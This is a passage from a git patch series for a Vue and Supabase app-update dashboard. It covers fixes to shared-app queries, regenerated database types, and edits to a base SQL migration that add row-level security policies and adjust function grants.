 GRANT ALL ON FUNCTION "public"."convert_bytes_to_gb"("byt" double precision) TO "postgres";
 GRANT ALL ON FUNCTION "public"."convert_bytes_to_gb"("byt" double precision) TO "anon";
 GRANT ALL ON FUNCTION "public"."convert_bytes_to_gb"("byt" double precision) TO "authenticated";

From 3d37e34209ba9126955b73b93808aa82f0448239 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sat, 2 Sep 2023 13:28:12 +0200
Subject: [PATCH 23/96] Fix base + shared table

---
 src/components/tables/SharedUserTable.vue   |   6 +-
 src/pages/app/home.vue                      |  23 +-
 src/types/supabase.types.ts                 | 267 ++++++++++----------
 supabase/migrations/20230815171919_base.sql | 144 +++++------
 4 files changed, 218 insertions(+), 222 deletions(-)

diff --git a/src/components/tables/SharedUserTable.vue b/src/components/tables/SharedUserTable.vue
index ed12a48a59..15cbada1a6 100644
--- a/src/components/tables/SharedUserTable.vue
+++ b/src/components/tables/SharedUserTable.vue
@@ -129,21 +129,23 @@ async function deleteOne(one: typeof element) {
     .from('channel_users')
     .delete()
     .eq('app_id', props.appId)
-    .eq('user_id', one.id)
+    .eq('user_id', one.user_id)
   if (error)
     console.error(error)
   else
     await refreshData()
 }
 
+// what does that do?
 async function deleteUser(usr: Database['public']['Tables']['users']['Row']) {
   if (await didCancel(t('user')))
     return
+  console.log(usr)
   const { error } = await supabase
     .from('channel_users')
     .delete()
     .eq('app_id', props.appId)
-    .eq('user_id', usr.id)
+    .eq('user_id', usr.user_id.id)
   if (error)
     console.error(error)
   else
diff --git a/src/pages/app/home.vue b/src/pages/app/home.vue
index f0a6713f09..6c0a5fc240 100644
--- a/src/pages/app/home.vue
+++ b/src/pages/app/home.vue
@@ -15,19 +15,16 @@ const route = useRoute()
 const main = useMainStore()
 const supabase = useSupabase()
 const apps = ref<Database['public']['Tables']['apps']['Row'][]>([])
-const sharedApps = ref<(Database['public']['Tables']['channel_users']['Row'] & ChannelUserApp)[]>([])
+const sharedApps = ref<Database['public']['Tables']['apps']['Row'][]>([])
 
-interface ChannelUserApp {
-  app_id: Database['public']['Tables']['apps']['Row']
-  channel_id: Database['public']['Tables']['channels']['Row'] & {
-    version: Database['public']['Tables']['app_versions']['Row']
-  }
-}
 async function getMyApps() {
-  const { data } = await supabase
+  const { data, error } = await supabase
     .from('apps')
     .select()
-    // .eq('user_id', main.user?.id).order('name', { ascending: true })
+    .eq('user_id', main.user?.id).order('name', { ascending: true })
+
+  console.log('my apps', data, error)
+
   if (data && data.length)
     apps.value = data
   else
@@ -44,10 +41,9 @@ async function getSharedWithMe() {
     return
 
   const { data, error } = await supabase
-    .from('org_users')
-    .select('*')
-    .eq('user_id', userId)
-    .single()
+    .from('apps')
+    .select()
+    .neq('user_id', main.user?.id).order('name', { ascending: true })
 
   if (error) {
     console.log('Error get sharred: ', error)
@@ -55,6 +51,7 @@ async function getSharedWithMe() {
   }
 
   console.log('shared', data)
+  sharedApps.value = data
 }
 watchEffect(async () => {
   if (route.path === '/app/home') {
diff --git a/src/types/supabase.types.ts b/src/types/supabase.types.ts
index 29ca3c6e48..3e5d63a959 100644
--- a/src/types/supabase.types.ts
+++ b/src/types/supabase.types.ts
@@ -135,36 +135,6 @@ export interface Database {
           }
         ]
       }
-      app_usage: {
-        Row: {
-          app_id: string
-          bandwidth: number
-          created_at: string | null
-          id: string
-          mau: number
-          mode: Database["public"]["Enums"]["usage_mode"]
-          storage: number
-        }
-        Insert: {
-          app_id: string
-          bandwidth?: number
-          created_at?: string | null
-          id?: string
-          mau?: number
-          mode?: Database["public"]["Enums"]["usage_mode"]
-          storage?: number
-        }
-        Update: {
-          app_id?: string
-          bandwidth?: number
-          created_at?: string | null
-          id?: string
-          mau?: number
-          mode?: Database["public"]["Enums"]["usage_mode"]
-          storage?: number
-        }
-        Relationships: []
-      }
       app_versions: {
         Row: {
           app_id: string
@@ -539,7 +509,7 @@ export interface Database {
         }
         Insert: {
           created_at?: string | null
-          email?: string
+          email: string
           id?: string
         }
         Update: {
@@ -558,7 +528,6 @@ export interface Database {
           device_id: string
           is_emulator: boolean | null
           is_prod: boolean | null
-          last_mau: string
           os_version: string | null
           platform: Database["public"]["Enums"]["platform_os"] | null
           plugin_version: string
@@ -574,7 +543,6 @@ export interface Database {
           device_id: string
           is_emulator?: boolean | null
           is_prod?: boolean | null
-          last_mau?: string
           os_version?: string | null
           platform?: Database["public"]["Enums"]["platform_os"] | null
           plugin_version?: string
@@ -590,7 +558,6 @@ export interface Database {
           device_id?: string
           is_emulator?: boolean | null
           is_prod?: boolean | null
-          last_mau?: string
           os_version?: string | null
           platform?: Database["public"]["Enums"]["platform_os"] | null
           plugin_version?: string
@@ -1083,8 +1050,7 @@ export interface Database {
           price_id: string | null
           product_id: string
           status: Database["public"]["Enums"]["stripe_status"] | null
-          subscription_anchor_end: string
-          subscription_anchor_start: string
+          subscription_anchor: string
           subscription_id: string | null
           subscription_metered: Json
           trial_at: string
@@ -1098,8 +1064,7 @@ export interface Database {
           price_id?: string | null
           product_id?: string
           status?: Database["public"]["Enums"]["stripe_status"] | null
-          subscription_anchor_end?: string
-          subscription_anchor_start?: string
+          subscription_anchor?: string
           subscription_id?: string | null
           subscription_metered?: Json
           trial_at?: string
@@ -1113,8 +1078,7 @@ export interface Database {
           price_id?: string | null
           product_id?: string
           status?: Database["public"]["Enums"]["stripe_status"] | null
-          subscription_anchor_end?: string
-          subscription_anchor_start?: string
+          subscription_anchor?: string
           subscription_id?: string | null
           subscription_metered?: Json
           trial_at?: string
@@ -1243,58 +1207,7 @@ export interface Database {
       }
     }
     Views: {
-      some_table_augmented: {
-        Row: {
-          action: string | null
-          app_id: string | null
-          created_at: string | null
-          device_id: string | null
-          platform: Database["public"]["Enums"]["platform_os"] | null
-          some_string_field_md5: number | null
-          version: number | null
-          version_build: string | null
-        }
-        Insert: {
-          action?: string | null
-          app_id?: string | null
-          created_at?: string | null
-          device_id?: string | null
-          platform?: Database["public"]["Enums"]["platform_os"] | null
-          some_string_field_md5?: never
-          version?: number | null
-          version_build?: string | null
-        }
-        Update: {
-          action?: string | null
-          app_id?: string | null
-          created_at?: string | null
-          device_id?: string | null
-          platform?: Database["public"]["Enums"]["platform_os"] | null
-          some_string_field_md5?: never
-          version?: number | null
-          version_build?: string | null
-        }
-        Relationships: [
-          {
-            foreignKeyName: "logs_app_id_fkey"
-            columns: ["app_id"]
-            referencedRelation: "apps"
-            referencedColumns: ["app_id"]
-          },
-          {
-            foreignKeyName: "logs_device_id_fkey"
-            columns: ["device_id"]
-            referencedRelation: "devices"
-            referencedColumns: ["device_id"]
-          },
-          {
-            foreignKeyName: "logs_version_fkey"
-            columns: ["version"]
-            referencedRelation: "app_versions"
-            referencedColumns: ["id"]
-          }
-        ]
-      }
+      [_ in never]: never
     }
     Functions: {
       accept_invitation_to_org: {
@@ -1302,13 +1215,6 @@ export interface Database {
           org_id: string
         }
         Returns: string
-      calculate_cycle_usage: {
-        Args: Record<PropertyKey, never>
-        Returns: undefined
-      }
-      calculate_daily_app_usage: {
-        Args: Record<PropertyKey, never>
-        Returns: undefined
       }
       check_min_rights: {
         Args: {
@@ -1386,6 +1292,10 @@ export interface Database {
         Args: Record<PropertyKey, never>
         Returns: undefined
       }
+      deleteuser: {
+        Args: Record<PropertyKey, never>
+        Returns: undefined
+      }
       exist_app: {
         Args: {
           appid: string
@@ -1407,6 +1317,14 @@ export interface Database {
         }
         Returns: boolean
       }
+      exist_channel: {
+        Args: {
+          appid: string
+          name_channel: string
+          apikey: string
+        }
+        Returns: boolean
+      }
       exist_user: {
         Args: {
           e_mail: string
@@ -1431,9 +1349,13 @@ export interface Database {
           name: string
         }[]
       }
-      get_apikey: {
-        Args: Record<PropertyKey, never>
-        Returns: string
+      find_missing_app_ids: {
+        Args: {
+          app_ids: string[]
+        }
+        Returns: {
+          missing_app_id: string
+        }[]
       }
       find_unknown_version: {
         Args: {
@@ -1469,13 +1391,6 @@ export interface Database {
         }
         Returns: string
       }
-      get_cycle_info: {
-        Args: Record<PropertyKey, never>
-        Returns: {
-          subscription_anchor_start: string
-          subscription_anchor_end: string
-        }[]
-      }
       get_db_url: {
         Args: Record<PropertyKey, never>
         Returns: string
@@ -1487,6 +1402,41 @@ export interface Database {
         }
         Returns: number
       }
+      get_dl_by_month: {
+        Args: {
+          userid: string
+          pastmonth: number
+        }
+        Returns: {
+          app_id: string
+          maxdownload: number
+        }[]
+      }
+      get_dl_by_month_by_app:
+        | {
+            Args: {
+              pastmonth: number
+              appid: string
+            }
+            Returns: number
+          }
+        | {
+            Args: {
+              userid: string
+              pastmonth: number
+              appid: string
+            }
+            Returns: {
+              app_id: string
+              maxdownload: number
+            }[]
+          }
+      get_max_channel: {
+        Args: {
+          userid: string
+        }
+        Returns: number
+      }
       get_max_plan: {
         Args: {
           userid: string
@@ -1497,6 +1447,18 @@ export interface Database {
           bandwidth: number
         }[]
       }
+      get_max_shared: {
+        Args: {
+          userid: string
+        }
+        Returns: number
+      }
+      get_max_version: {
+        Args: {
+          userid: string
+        }
+        Returns: number
+      }
       get_metered_usage: {
         Args: {
           userid: string
@@ -1533,6 +1495,21 @@ export interface Database {
         }
         Returns: number
       }
+      get_stats: {
+        Args: {
+          userid: string
+          dateid: string
+        }
+        Returns: {
+          max_channel: number
+          max_shared: number
+          max_update: number
+          max_version: number
+          max_app: number
+          max_device: number
+          mau: number
+        }[]
+      }
       get_total_stats_v2: {
         Args: {
           userid: string
@@ -1550,6 +1527,12 @@ export interface Database {
         }
         Returns: string
       }
+      get_user_main_org_id: {
+        Args: {
+          user_id: string
+        }
+        Returns: string
+      }
       has_min_right: {
         Args: {
           _userid: string
@@ -1560,6 +1543,37 @@ export interface Database {
         }
         Returns: boolean
       }
+      increment_stats: {
+        Args: {
+          app_id: string
+          date_id: string
+          bandwidth: number
+          version_size: number
+          channels: number
+          shared: number
+          mlu: number
+          mlu_real: number
+          versions: number
+          devices: number
+        }
+        Returns: undefined
+      }
+      increment_stats_v2: {
+        Args: {
+          app_id: string
+          date_id: string
+          bandwidth: number
+          version_size: number
+          channels: number
+          shared: number
+          mlu: number
+          mlu_real: number
+          versions: number
+          devices: number
+          devices_real: number
+        }
+        Returns: undefined
+      }
       increment_store: {
         Args: {
           app_id: string
@@ -1727,31 +1741,18 @@ export interface Database {
         }
         Returns: boolean
       }
-      one_month_ahead: {
-        Args: Record<PropertyKey, never>
-        Returns: string
-      }
-      remove_enum_value: {
+      update_version_stats: {
         Args: {
-          enum_type: unknown
-          enum_value: string
+          app_id: string
+          version_id: number
+          install: number
+          uninstall: number
+          fail: number
         }
         Returns: undefined
       }
-      update_app_usage:
-        | {
-            Args: Record<PropertyKey, never>
-            Returns: undefined
-          }
-        | {
-            Args: {
-              minutes_interval: number
-            }
-            Returns: undefined
-          }
     }
     Enums: {
-      app_mode: "prod" | "dev" | "livereload"
       key_mode: "read" | "write" | "all" | "upload"
       pay_as_you_go_type: "base" | "units"
       platform_os: "ios" | "android"
@@ -1771,13 +1772,20 @@ export interface Database {
         | "upload"
         | "write"
         | "admin"
-      usage_mode: "5min" | "day" | "month" | "cycle"
       user_role: "read" | "upload" | "write" | "admin"
     }
     CompositeTypes: {
       match_plan: {
         name: string
       }
+      orgs_table: {
+        id: string
+        created_by: string
+        created_at: string
+        updated_at: string
+        logo: string
+        name: string
+      }
       owned_orgs: {
         id: string
         created_by: string
@@ -1793,3 +1801,4 @@ export interface Database {
     }
   }
 }
+
diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index 9361829029..0788001fef 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -109,7 +109,7 @@ CREATE TYPE "public"."user_min_right" AS ENUM (
     'invite_read',
     'invite_upload',
     'invite_write',
-    'invite_admin'
+    'invite_admin',
     'read',
     'upload',
     'write',
@@ -191,6 +191,38 @@ BEGIN
 END;
 $$;
 
+CREATE TABLE "public"."store_apps" (
+    "created_at" timestamp with time zone DEFAULT "now"(),
+    "url" "text" DEFAULT ''::"text" NOT NULL,
+    "app_id" "text" NOT NULL,
+    "title" "text" DEFAULT ''::"text" NOT NULL,
+    "summary" "text" DEFAULT ''::"text" NOT NULL,
+    "icon" "text" DEFAULT ''::"text" NOT NULL,
+    "free" boolean DEFAULT true NOT NULL,
+    "category" "text" DEFAULT ''::"text" NOT NULL,
+    "capacitor" boolean DEFAULT false NOT NULL,
+    "developer_email" "text" DEFAULT ''::"text" NOT NULL,
+    "installs" bigint DEFAULT '0'::bigint NOT NULL,
+    "developer" "text" DEFAULT ''::"text" NOT NULL,
+    "score" double precision DEFAULT '0'::double precision NOT NULL,
+    "to_get_framework" boolean DEFAULT true NOT NULL,
+    "onprem" boolean DEFAULT false NOT NULL,
+    "updates" bigint DEFAULT '0'::bigint NOT NULL,
+    "to_get_info" boolean DEFAULT true NOT NULL,
+    "error_get_framework" "text" DEFAULT ''::"text" NOT NULL,
+    "to_get_similar" boolean DEFAULT true NOT NULL,
+    "error_get_similar" "text" DEFAULT ''::"text" NOT NULL,
+    "updated_at" timestamp with time zone DEFAULT "now"() NOT NULL,
+    "error_get_info" "text" DEFAULT ''::"text" NOT NULL,
+    "cordova" boolean DEFAULT false NOT NULL,
+    "react_native" boolean DEFAULT false NOT NULL,
+    "capgo" boolean DEFAULT false NOT NULL,
+    "kotlin" boolean DEFAULT false NOT NULL,
+    "flutter" boolean DEFAULT false NOT NULL,
+    "native_script" boolean DEFAULT false NOT NULL,
+    "lang" "text",
+    "developer_id" "text"
+);
 
 CREATE FUNCTION "public"."count_all_apps"() RETURNS integer
     LANGUAGE "plpgsql"
@@ -221,7 +253,7 @@ End;
 $$;
 
 CREATE FUNCTION "public"."is_owner_of_org"("user_id" uuid, "org_id" uuid) RETURNS boolean
-    LANGUAGE "plpgsql"
+    LANGUAGE "plpgsql" SECURITY DEFINER
     AS $$
 Declare
  is_found integer;
@@ -273,7 +305,7 @@ DECLARE
 begin
   select orgs.id from orgs
   into org_id
-  where orgs.created_by=get_user_main_org.user_id
+  where orgs.created_by=get_user_main_org_id.user_id
   limit 1;
 
   return org_id;
@@ -664,7 +696,7 @@ Begin
     return 'NO_EMAIL';
   END IF;
 End;
-$$
+$$;
 
 CREATE FUNCTION "public"."accept_invitation_to_org"("org_id" "uuid") RETURNS varchar
     LANGUAGE "plpgsql" SECURITY DEFINER
@@ -690,7 +722,7 @@ Begin
     return 'OK';
   end if;
 End;
-$$
+$$;
 
 CREATE FUNCTION "public"."increment_stats"("app_id" character varying, "date_id" character varying, "bandwidth" integer, "version_size" integer, "channels" integer, "shared" integer, "mlu" integer, "mlu_real" integer, "versions" integer, "devices" integer) RETURNS "void"
     LANGUAGE "sql"
@@ -727,9 +759,6 @@ CREATE FUNCTION "public"."increment_stats_v2"("app_id" character varying, "date_
 $$;
 
 
-CREATE FUNCTION "public"."increment_store"("app_id" character varying, "updates" integer) RETURNS "void"
-    LANGUAGE "sql"
-    AS $$
 CREATE OR REPLACE FUNCTION "public"."increment_store"("app_id" character varying, "updates" integer)
 RETURNS void AS $$
 BEGIN
@@ -831,9 +860,9 @@ Begin
   where customer_id=(SELECT customer_id from users where id=userid)
   AND status = 'canceled'));
 End;  
-$function$
+$function$;
 
-CREATE OR REPLACE FUNCTION update_app_usage(minutes_interval INT) RETURNS VOID AS $$
+CREATE OR REPLACE FUNCTION public.update_app_usage(minutes_interval INT) RETURNS VOID AS $$
 DECLARE
     one_minute_ago TIMESTAMP;
     n_minutes_ago TIMESTAMP;
@@ -887,7 +916,7 @@ BEGIN
 END;
 $$ LANGUAGE plpgsql;
 
-CREATE OR REPLACE FUNCTION calculate_daily_app_usage() RETURNS VOID AS $$
+CREATE OR REPLACE FUNCTION public.calculate_daily_app_usage() RETURNS VOID AS $$
 DECLARE
     twenty_four_hours_ago TIMESTAMP;
 BEGIN
@@ -906,7 +935,7 @@ BEGIN
 END;
 $$ LANGUAGE plpgsql;
 
-CREATE OR REPLACE FUNCTION calculate_cycle_usage() RETURNS VOID AS $$
+CREATE OR REPLACE FUNCTION public.calculate_cycle_usage() RETURNS VOID AS $$
 BEGIN
     WITH cycle_usage AS (
         SELECT apps.app_id, SUM(app_usage.bandwidth) AS cycle_bandwidth, SUM(app_usage.storage) AS cycle_storage, SUM(app_usage.mau) AS cycle_mau
@@ -1072,7 +1101,7 @@ CREATE TABLE "public"."app_usage" (
     -- main stats
     "mlu" bigint DEFAULT '0'::bigint NOT NULL,
     "storage" bigint DEFAULT '0'::bigint NOT NULL,
-    "bandwidth" bigint DEFAULT '0'::bigint NOT NULL,
+    "bandwidth" bigint DEFAULT '0'::bigint NOT NULL
 );
 
 CREATE TABLE "public"."app_stats" (
@@ -1352,39 +1381,6 @@ CREATE TABLE "public"."stats" (
     "app_id" character varying NOT NULL
 );
 
-CREATE TABLE "public"."store_apps" (
-    "created_at" timestamp with time zone DEFAULT "now"(),
-    "url" "text" DEFAULT ''::"text" NOT NULL,
-    "app_id" "text" NOT NULL,
-    "title" "text" DEFAULT ''::"text" NOT NULL,
-    "summary" "text" DEFAULT ''::"text" NOT NULL,
-    "icon" "text" DEFAULT ''::"text" NOT NULL,
-    "free" boolean DEFAULT true NOT NULL,
-    "category" "text" DEFAULT ''::"text" NOT NULL,
-    "capacitor" boolean DEFAULT false NOT NULL,
-    "developer_email" "text" DEFAULT ''::"text" NOT NULL,
-    "installs" bigint DEFAULT '0'::bigint NOT NULL,
-    "developer" "text" DEFAULT ''::"text" NOT NULL,
-    "score" double precision DEFAULT '0'::double precision NOT NULL,
-    "to_get_framework" boolean DEFAULT true NOT NULL,
-    "onprem" boolean DEFAULT false NOT NULL,
-    "updates" bigint DEFAULT '0'::bigint NOT NULL,
-    "to_get_info" boolean DEFAULT true NOT NULL,
-    "error_get_framework" "text" DEFAULT ''::"text" NOT NULL,
-    "to_get_similar" boolean DEFAULT true NOT NULL,
-    "error_get_similar" "text" DEFAULT ''::"text" NOT NULL,
-    "updated_at" timestamp with time zone DEFAULT "now"() NOT NULL,
-    "error_get_info" "text" DEFAULT ''::"text" NOT NULL,
-    "cordova" boolean DEFAULT false NOT NULL,
-    "react_native" boolean DEFAULT false NOT NULL,
-    "capgo" boolean DEFAULT false NOT NULL,
-    "kotlin" boolean DEFAULT false NOT NULL,
-    "flutter" boolean DEFAULT false NOT NULL,
-    "native_script" boolean DEFAULT false NOT NULL,
-    "lang" "text",
-    "developer_id" "text"
-);
-
 CREATE OR REPLACE FUNCTION public.remove_enum_value(enum_type regtype, enum_value text)
  RETURNS void
  LANGUAGE plpgsql
@@ -1399,9 +1395,9 @@ BEGIN
     EXECUTE format('ALTER TYPE %s RENAME VALUE %L TO %L', enum_type, enum_value, enum_value || '_old');
     EXECUTE format('ALTER TYPE %s RENAME VALUE %L TO %L', enum_type, enum_value || '_old', enum_value);
 END;
-$function$
+$function$;
 
-CREATE OR REPLACE FUNCTION one_month_ahead() 
+CREATE OR REPLACE FUNCTION public.one_month_ahead() 
 RETURNS timestamp AS 
 $$
 BEGIN
@@ -1422,7 +1418,7 @@ CREATE TABLE "public"."stripe_info" (
     "plan_usage" bigint DEFAULT '0'::bigint,
     "subscription_metered" "json" DEFAULT '{}'::"json" NOT NULL,
     "subscription_anchor_start" timestamp with time zone DEFAULT "now"() NOT NULL,
-    "subscription_anchor_end" timestamp with time zone DEFAULT one_month_ahead() NOT NULL
+    "subscription_anchor_end" timestamp with time zone DEFAULT public.one_month_ahead() NOT NULL
 );
 
 
@@ -1519,7 +1515,7 @@ ALTER TABLE ONLY "public"."users"
 
 CREATE INDEX "app_versions_meta_app_id_idx" ON "public"."app_versions_meta" USING "btree" ("app_id");
 
-CREATE INDEX "idx_app_id_created_at" ON "public"."app_usage" USING "btree" ("app_id", "created_at", "mode");
+CREATE INDEX "idx_app_id_created_at" ON "public"."app_usage" USING "btree" ("app_id", "created_at");
 
 CREATE INDEX "idx_action_logs" ON "public"."stats" USING "btree" ("action");
 
@@ -1577,7 +1573,7 @@ CREATE INDEX "idx_version_logs" ON "public"."stats" USING "btree" ("version");
 
 CREATE UNIQUE INDEX "store_app_pkey" ON "public"."store_apps" USING "btree" ("app_id");
 
-CREATE OR REPLACE FUNCTION get_cycle_info()
+CREATE OR REPLACE FUNCTION public.get_cycle_info()
 RETURNS TABLE (
     subscription_anchor_start timestamp with time zone,
     subscription_anchor_end timestamp with time zone
@@ -1609,11 +1605,11 @@ END;
 $$ LANGUAGE plpgsql;
 
 
-CREATE OR REPLACE FUNCTION get_db_url() RETURNS TEXT LANGUAGE SQL AS $$
+CREATE OR REPLACE FUNCTION public.get_db_url() RETURNS TEXT LANGUAGE SQL AS $$
     SELECT decrypted_secret FROM vault.decrypted_secrets WHERE name='db_url';
 $$ SECURITY DEFINER STABLE PARALLEL SAFE;
 
-CREATE OR REPLACE FUNCTION get_apikey() RETURNS TEXT LANGUAGE SQL AS $$
+CREATE OR REPLACE FUNCTION public.get_apikey() RETURNS TEXT LANGUAGE SQL AS $$
     SELECT decrypted_secret FROM vault.decrypted_secrets WHERE name='apikey';
 $$ SECURITY DEFINER STABLE PARALLEL SAFE;
 
@@ -1818,6 +1814,9 @@ ALTER TABLE ONLY "public"."channels"
 ALTER TABLE ONLY "public"."channels"
     ADD CONSTRAINT "channels_version_fkey" FOREIGN KEY ("version") REFERENCES "public"."app_versions"("id") ON DELETE CASCADE;
 
+ALTER TABLE ONLY "public"."channels"
+    ADD CONSTRAINT "channels_secondVersion_fkey" FOREIGN KEY ("secondVersion") REFERENCES "public"."app_versions"("id") ON DELETE CASCADE;
+
 ALTER TABLE ONLY "public"."devices"
     ADD CONSTRAINT "devices_app_id_fkey" FOREIGN KEY ("app_id") REFERENCES "public"."apps"("app_id") ON DELETE CASCADE;
 
@@ -1860,6 +1859,9 @@ ALTER TABLE ONLY "public"."org_users"
 ALTER TABLE ONLY "public"."org_users"
     ADD CONSTRAINT "org_users_user_id_fkey" FOREIGN KEY ("user_id") REFERENCES "public"."users"("id") ON DELETE CASCADE;
 
+ALTER TABLE ONLY "public"."orgs"
+    ADD CONSTRAINT "orgs_created_by_fkey" FOREIGN KEY ("created_by") REFERENCES "public"."users"("id") ON DELETE CASCADE;
+
 ALTER TABLE ONLY "public"."stripe_info"
     ADD CONSTRAINT "stripe_info_product_id_fkey" FOREIGN KEY ("product_id") REFERENCES "public"."plans"("stripe_id");
 
@@ -1930,23 +1932,29 @@ CREATE POLICY "Allow user to self get" ON "public"."stripe_info" FOR SELECT TO "
 CREATE POLICY "Allow memeber and owner to select" ON "public"."org_users"
 AS PERMISSIVE FOR SELECT
 TO public
-USING ((is_member_of_org(auth.uid(), org_id) OR is_owner_of_org(auth.uid(), org_id)))
+USING ((public.is_member_of_org(auth.uid(), org_id) OR public.is_owner_of_org(auth.uid(), org_id)));
 
 CREATE POLICY "Allow to self delete" ON "public"."org_users"
 AS PERMISSIVE FOR DELETE
 TO public
-USING ((user_id=auth.uid()))
+USING ((user_id=auth.uid()));
 
 CREATE POLICY "Allow org member to select" ON "public"."apps"
 AS PERMISSIVE FOR SELECT
 TO authenticated
-USING (check_min_rights('read'::user_min_right, auth.uid(), get_user_main_org_id(user_id), NULL::character varying, NULL::bigint))
+USING (public.check_min_rights('read'::"public"."user_min_right", auth.uid(), public.get_user_main_org_id(user_id), NULL::character varying, NULL::bigint));
+
+CREATE POLICY "Allow member or owner to select" ON "public"."orgs"
+AS PERMISSIVE FOR SELECT
+TO authenticated
+USING (public.is_member_of_org(auth.uid(), id) OR public.is_owner_of_org(auth.uid(), id));
+
 
 CREATE POLICY "Disable for all" ON "public"."notifications" USING (false) WITH CHECK (false);
 
 CREATE POLICY "Disable for all" ON "public"."store_apps" USING (false) WITH CHECK (false);
 
-CREATE POLICY "Enable all for user based on user_id" ON "public"."apikeys" FOR SELECT TO "authenticated" USING ((("auth"."uid"() = "user_id") OR "public"."is_admin"("auth"."uid"()))) WITH CHECK ((("auth"."uid"() = "user_id") OR "public"."is_admin"("auth"."uid"())));
+CREATE POLICY "Enable all for user based on user_id" ON "public"."apikeys" FOR SELECT TO "authenticated" USING ((("auth"."uid"() = "user_id") OR "public"."is_admin"("auth"."uid"())));
 
 CREATE POLICY "Enable select for authenticated users only" ON "public"."plans" FOR SELECT TO "authenticated" USING (true);
 
@@ -2054,7 +2062,7 @@ GRANT ALL ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min
 
 REVOKE EXECUTE ON FUNCTION "public"."get_user_main_org_id"("user_id" uuid) FROM PUBLIC;
 REVOKE EXECUTE ON FUNCTION "public"."get_user_main_org_id"("user_id" uuid) FROM anon;
-REVOKE EXECUTE ON FUNCTION "public"."get_user_main_org_id"("user_id" uuid) FROM authenticated;
+GRANT EXECUTE ON FUNCTION "public"."get_user_main_org_id"("user_id" uuid) TO authenticated;
 GRANT EXECUTE ON FUNCTION "public"."get_user_main_org_id"("user_id" uuid) TO postgres;
 
 GRANT ALL ON FUNCTION "public"."convert_bytes_to_gb"("byt" double precision) TO "postgres";
@@ -2122,11 +2130,6 @@ GRANT ALL ON FUNCTION "public"."count_all_updates"() TO "anon";
 GRANT ALL ON FUNCTION "public"."count_all_updates"() TO "authenticated";
 GRANT ALL ON FUNCTION "public"."count_all_updates"() TO "service_role";
 
-GRANT ALL ON FUNCTION "public"."exist_app"("appid" character varying, "apikey" "text") TO "postgres";
-GRANT ALL ON FUNCTION "public"."exist_app"("appid" character varying, "apikey" "text") TO "anon";
-GRANT ALL ON FUNCTION "public"."exist_app"("appid" character varying, "apikey" "text") TO "authenticated";
-GRANT ALL ON FUNCTION "public"."exist_app"("appid" character varying, "apikey" "text") TO "service_role";
-
 GRANT ALL ON FUNCTION "public"."exist_app_v2"("appid" character varying) TO "postgres";
 GRANT ALL ON FUNCTION "public"."exist_app_v2"("appid" character varying) TO "anon";
 GRANT ALL ON FUNCTION "public"."exist_app_v2"("appid" character varying) TO "authenticated";
@@ -2137,21 +2140,11 @@ GRANT ALL ON FUNCTION "public"."exist_app_versions"("appid" character varying, "
 GRANT ALL ON FUNCTION "public"."exist_app_versions"("appid" character varying, "name_version" character varying, "apikey" "text") TO "authenticated";
 GRANT ALL ON FUNCTION "public"."exist_app_versions"("appid" character varying, "name_version" character varying, "apikey" "text") TO "service_role";
 
-GRANT ALL ON FUNCTION "public"."exist_channel"("appid" character varying, "name_channel" character varying, "apikey" "text") TO "postgres";
-GRANT ALL ON FUNCTION "public"."exist_channel"("appid" character varying, "name_channel" character varying, "apikey" "text") TO "anon";
-GRANT ALL ON FUNCTION "public"."exist_channel"("appid" character varying, "name_channel" character varying, "apikey" "text") TO "authenticated";
-GRANT ALL ON FUNCTION "public"."exist_channel"("appid" character varying, "name_channel" character varying, "apikey" "text") TO "service_role";
-
 GRANT ALL ON FUNCTION "public"."exist_user"("e_mail" character varying) TO "postgres";
 GRANT ALL ON FUNCTION "public"."exist_user"("e_mail" character varying) TO "anon";
 GRANT ALL ON FUNCTION "public"."exist_user"("e_mail" character varying) TO "authenticated";
 GRANT ALL ON FUNCTION "public"."exist_user"("e_mail" character varying) TO "service_role";
 
-GRANT ALL ON FUNCTION "public"."find_missing_app_ids"("app_ids" character varying[]) TO "postgres";
-GRANT ALL ON FUNCTION "public"."find_missing_app_ids"("app_ids" character varying[]) TO "anon";
-GRANT ALL ON FUNCTION "public"."find_missing_app_ids"("app_ids" character varying[]) TO "authenticated";
-GRANT ALL ON FUNCTION "public"."find_missing_app_ids"("app_ids" character varying[]) TO "service_role";
-
 GRANT ALL ON FUNCTION "public"."get_app_versions"("appid" character varying, "name_version" character varying, "apikey" "text") TO "postgres";
 GRANT ALL ON FUNCTION "public"."get_app_versions"("appid" character varying, "name_version" character varying, "apikey" "text") TO "anon";
 GRANT ALL ON FUNCTION "public"."get_app_versions"("appid" character varying, "name_version" character varying, "apikey" "text") TO "authenticated";
@@ -2162,11 +2155,6 @@ GRANT ALL ON FUNCTION "public"."get_orgs"("userid" "uuid") TO "anon";
 GRANT ALL ON FUNCTION "public"."get_orgs"("userid" "uuid") TO "authenticated";
 GRANT ALL ON FUNCTION "public"."get_orgs"("userid" "uuid") TO "service_role";
 
-GRANT ALL ON FUNCTION "public"."get_org"("orgid" "uuid") TO "postgres";
-GRANT ALL ON FUNCTION "public"."get_org"("orgid" "uuid") TO "anon";
-GRANT ALL ON FUNCTION "public"."get_org"("orgid" "uuid") TO "authenticated";
-GRANT ALL ON FUNCTION "public"."get_org"("orgid" "uuid") TO "service_role";
-
 GRANT ALL ON FUNCTION "public"."get_current_plan_max"("userid" "uuid") TO "postgres";
 GRANT ALL ON FUNCTION "public"."get_current_plan_max"("userid" "uuid") TO "anon";
 GRANT ALL ON FUNCTION "public"."get_current_plan_max"("userid" "uuid") TO "authenticated";

From 55ddbf1e913f3c81253f8cbf940e39b22e3a4a39 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sun, 3 Sep 2023 08:55:54 +0200
Subject: [PATCH 24/96] Write more RLS

---
 locales/en.yml                              |   3 +-
 src/components/dashboard/Dashboard.vue      |  16 +--
 src/components/dashboard/TopApps.vue        |   3 +-
 src/pages/app/p/[p]/bundle/[bundle].vue     | 108 ++++++++++++++------
 src/pages/app/p/[p]/channel/[channel].vue   |  47 ++++++++-
 src/stores/organization.ts                  |  12 ++-
 supabase/migrations/20230815171919_base.sql |  85 +++++++++++++++
 7 files changed, 226 insertions(+), 48 deletions(-)

diff --git a/locales/en.yml b/locales/en.yml
index c8e5bedf92..7479109a60 100644
--- a/locales/en.yml
+++ b/locales/en.yml
@@ -141,7 +141,6 @@ defined-as: Defined as
